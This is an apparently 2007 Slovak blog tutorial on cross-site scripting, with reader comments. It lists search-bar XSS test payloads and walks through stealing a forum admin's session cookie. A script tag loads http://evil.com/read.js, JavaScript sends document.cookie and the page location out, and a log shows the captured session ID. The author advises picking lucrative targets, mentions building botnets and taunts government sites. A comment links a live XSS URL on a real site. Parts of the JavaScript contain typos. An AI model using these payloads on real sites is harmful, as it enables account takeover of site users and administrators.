Vela ludi sa ani nepozastavuje nad XSS (Cross site scripting) a mysli, ze to vobec nie je dolezite. Rad by som vsak vyvratil tento mytus a ukazal na silu tohto vo svete dost rozsireneho fenomenu. Tento paper nie je len pre profesionalov (ti si nagoogluju xss a vobec sa tymto nebudu zaoberat) a pokusim sa ho napisat zrozumitelne aj pre tych, ktori moc do tejto problematiky nevidia a chceli by sa daco poucit. Pre akekolvek dotazy som vsetkym k dispozicii, pripadne rozsirenie niektorych partov mozem urobit na poziadanie.
Apelujem na zdravy rozum citatelov - cokolvek sa pokusite urobit na cudzych systemoch, moze byt povazovane za utok a moze byt predmetom vysetrovania a vasho obvinenia. Skusajte si to len na vlastne riziko, za vase pripadne uvaznenie, odsudenie a analne odpanenie nepreberam zodpovednost.
1. Fungovanie vlozeneho contentu na webstranke
Kedysi tu boli len staticke stranky zalozene na cistom html a browser mal problem zobrazit niekedy aj obrazok (vsak to aj trvalo na tych modemoch veky). S postupom casu ludia zacali vyuzivat aj javascript, bez ktoreho dnes nie je mozne skoro nic (len tak pre srandu si vypnite javascript v prehliadaci a skuste surfovat). V pripade XSS je html a javascript vsetko, co potrebujeme. A samozrejme este stranku na ktorej to funguje.
Pozrime sa na zubok tomuto kodu z nahodnej webstranky:

vyzera to, ako keby sa na stranke mal zobrazit dany jpg obrazok a pokial nie ste lenivi a spojazdnite si wiresharka, zistite, ze to je naozaj tak (niekedy to tak nemusi byt :) - preto pouzivajte vzdy funkciu Follow TCP stream). tu je teda vypis, ktory suvisi s nasim img src (pre pozornych, cookie som si vymyslel len pre ilustraciu, nie je naozaj vygenerovane, niektore ine veci som pre nedolezitost vybral)
GET /directory/images/topic20.jpg HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/directory/topic20
Cookie: PHPSESSID=2098e02db029e202a0981092
HTTP/1.1 200 OK
Date: Tue, 04 Dec 2007 19:20:29 GMT
Server: Apache
Upgrade: TLS/1.0, HTTP/1.1
Last-Modified: Tue, 14 Nov 2007 13:13:30 GMT
Expires: Thu, 03 Jan 2008 19:20:29 GMT
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: image/jpeg
tu nasleduju samotne data
2. Kde a co vkladat?
Uvazujte. Na stranke sa niekedy vyskytuje miesto, kde je mozne vlozit retazec, nechat ho spracovat webaplikaciou a ked ho tato vrati, zistime, ako sa k nemu spravala. Je to search bar. Dalej si treba uvedomit, ze ak by bol mozny XSS na stranke azetu a na stranke ebay, tak vacsi prospech mam z ebay, cize azet vobec nebudem skusat. avsak zaujimave su aj dalsie webaplikacie, kde sa prihlasuju ludia, kde su potencialne citlive informacie atd. (tolko k motivom a zvoleniu ciela)
Cize hladame nejaky search bar, respektivne hladame aplikaciu, ktora vyhladava. Pouzijeme google (odporucam pouzitie aspon operatora inurl, co vam zlahci hladanie). Moje hladanie bolo uspesne a velmi rychlo som nasiel ciel, ktory sice nie je dolezity, avsak je zranitelny. Co teda dame do search baru?
<script>alert('xss')</script>
</a>
:<script>alert('xss')</script>
</td>
search.asp?SearchQuery=<script>alert('xss')</script>
search.asp?SearchQuery=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
3. Preco je XSS nebezpecne?
Kedze chceme zautocit na admina forum.example.com, v pokoji si pripravime webserver http://evil.com/ - staci najjednoduchsi, len aby logoval, a aby sme boli chraneni a zbytocne na seba neukazovali. Na fore postneme message, napriklad
<script src="http://evil.com/read.js"></script>
var umiestnienie = escape(document.location);
var kolacik = escape(document.cookie);
document write("<img src=http://example.com/some.gif?");
document write(umiestnenie);
document write("%20");
document.write(kolacik);
document.write(">");
76.92.238.23 -- [04/Dec/2007:17:23:23 +0100] "GET /some.gif?http%3A//forum.example.com/admin/change%2Easp%3Faccount%3D11011%20PHPSESSID%3D2098e02db029e202a0981092 HTTP/1.0" 200 85 "http://forum.example.com/admin/change.asp" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"
Na zaver: uviedol som len jeden zo sposobov, ako vyuzit XSS, avsak je ich viac, najlepsim je priamo OS commanding prostrednictvom klienta - vsetko vdaka javascriptu a nasledne vytvorenie si vlastneho botnetu. Do uvahy pripada podvrhnutie contentu uzivatelovi, pricom ani netusi, ze sa nepozera na stranku, ktoru povodne chcel.
Tymto pozdravujem tisicky slovenskych webov, aj VLADNYCH!!!!!
|
webhosting by: |
UnlimitedHosting | CustomHosting | FreeWeb.sk |
Comments
Re: XSS v minikocke
akurat som nedavno podobne opisal
http://blog.synopsi.com/2007-12-12/najpopularnejsie-utoky-xss-a-csrf-na-...
Re: XSS v minikocke
http://skola.security-portal.cz/czxss.html
http://skola.security-portal.cz/worldxss.html
:)
Re: XSS v minikocke
Velmi krasny utok na abclinuxu.cz.
----------------------
Ja len v dobrom.
Re: XSS v minikocke
tiez som sa tymto zacal pred par mesiacmi zaoberat... pre tych co zaujimaju dalsie sposoby pre zaujimavost
XSS Cheat Sheet . Je tam velke mnozstvo roznych sposobov- celkom slusna inspiracia...
--
The best way to predict future is to invent it...
Re: XSS v minikocke
a samozrejme xssed.com, na to som zabudol
--------------------
http://sk.zone-h.org
Re: XSS v minikocke
http://www.empire-skola.sk/search.asp?menu=641&searchText=%3Cscript%3Eal...